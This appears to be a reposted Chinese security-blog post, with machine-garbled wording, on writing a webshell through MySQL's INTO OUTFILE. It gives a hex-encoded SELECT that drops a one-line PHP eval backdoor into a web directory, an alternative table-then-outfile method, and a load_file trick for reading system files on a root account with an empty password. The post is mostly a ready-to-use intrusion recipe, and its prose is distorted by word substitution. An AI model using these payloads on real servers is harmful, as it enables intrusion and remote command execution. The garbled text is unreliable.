|
|
|
联系客服020-83701501

数据库outfile写shell一点心得

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
数据库outfile写shell一点心得

一点心得:
来日诰日在一个mysql数据库的console外观直接导出一句话的时分

用这类网上说的直接写出不凋射

Default
1 select 0x3c3f706870206576616c28245f524551554553545b636d645d293b3f3e into outfile 'e://appserv//www// 91ri.org //modules//wordpress//app.php';

 

还是老老实实建表再写 :

Default
1 select code from text into outfile 'e://appserv//www// 91ri.org //modules//wordpress//app.php';

 

而且对于windows一定得用上面何等的形式的绝对路径
网上的大全副凡是说的linux下的

=========================================
刚遇到一个root空口令的MySql,进phpMyAdmin,outfile凋射,然则没法load_file。如下操持:
建表:
create table test (a text);
insert into test (a) values (load_file(‘c:boot.ini’));
select * from test;
凋射操持。

 

link:http://nana.blackbap.org/?p=archive&id=21

本文由网络安全攻防钻研室(www.91ri.org)新闻安全小组收集整理,转载请阐明出处

数安新闻+更多

证书相关+更多